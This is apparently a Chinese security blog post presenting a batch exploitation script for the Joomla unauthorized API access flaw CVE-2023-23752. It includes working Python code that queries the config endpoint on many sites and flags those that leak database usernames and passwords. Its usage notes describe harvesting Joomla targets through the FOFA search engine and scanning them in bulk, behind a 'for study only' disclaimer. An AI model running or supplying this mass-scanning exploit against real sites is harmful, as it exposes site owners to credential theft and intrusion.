Joomla未授权访问漏洞(CVE-2023-23752)批量验证脚本

1.免责声明

本博客所发布的文章及工具仅限交流学习,本博客不承担任何责任!如有侵权,请告知我们立即删除。

2.漏洞介绍

Joomla是一套全球知名的内容管理系统(CMS),其使用PHP语言加上MySQL数据库所开发,可以在Linux、Windows、MacOSX等各种不同的平台上运行。Joomla! CMS 版本4.0.0 - 4.2.7中由于对web 服务端点访问限制不当,可能导致未授权访问Rest API,造成敏感信息泄露(如数据库账号密码等)。

漏洞库链接: https://nvd.nist.gov/vuln/detail/CVE-2023-23752

3.影响范围

Joomla! CMS 版本4.0.0 - 4.2.7

4.利用脚本

import requests
from colorama import init, Fore
import urllib3

urllib3.disable_warnings()

init(autoreset=True)

vulnerable_urls = []

with open('urls.txt') as f:
    for url in f:
        url = url.strip()
        if not url.startswith('https://'):
            url = 'https://' + url
        
        headers = {
            'Upgrade-Insecure-Requests': '1',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
            'Accept-Encoding': 'gzip, deflate',
            'Accept-Language': 'zh-CN,zh;q=0.9',
            'Connection': 'close'
        }
        proxies = {
        "http": "http://127.0.0.1:7890",
        "https": "http://127.0.0.1:7890"
    }
        payload = "/api/index.php/v1/config/application?public=true"
        url1 = url + payload

        try:
            res = requests.get(url=url1, headers=headers, timeout=60, verify=False,proxies=None)

            if 'user' in res.text and 'password' in res.text:
                print(Fore.GREEN + "[+]存在漏洞:" + url1)
                vulnerable_urls.append(url1)
            else:
                print("[-]不存在漏洞:" + url1)
        except Exception as e:
            print(Fore.RED + '[!]访问失败:' + url1)

with open('vulnerable_urls.txt', 'w') as f:
    for url in vulnerable_urls:
        f.write(url + '\n')
#如果使用了代理软件,记得将代理端口进行更换
#脚本扫描完漏洞过后,会将存在漏洞的URL地址写入vulnerable_urls.txt文件中保存

5 使用说明

fofa关键词:product="Joomla"
通过fofa关键词采集工具采集Url过后,保存为urls.txt
然后新建一个文件夹,文件夹内里面放入上方的脚本源码,并保存为Joomla未授权.py,随后把你采集到的urls.txt放到同一级目录下。
最后直接运行脚本就可以了,脚本写的比较烂,验证漏洞还是可以的,偶尔有误报
脚本执行过后,耐心等待检测完毕即可,脚本检测完毕过后会将有漏洞的url保存到当前目录下的vulnerable_urls.txt文件中
注意:保存采集到的url时候需要有http头或者https头否则脚本执行检测全是访问失败

6测试截图

如果开启了代理的话记得修改以下代码中的端口为代理软件的端口

proxies = {
        "http": "http://127.0.0.1:7890",
        "https": "http://127.0.0.1:7890"
    }

添加新评论

请输入12+7的计算结果: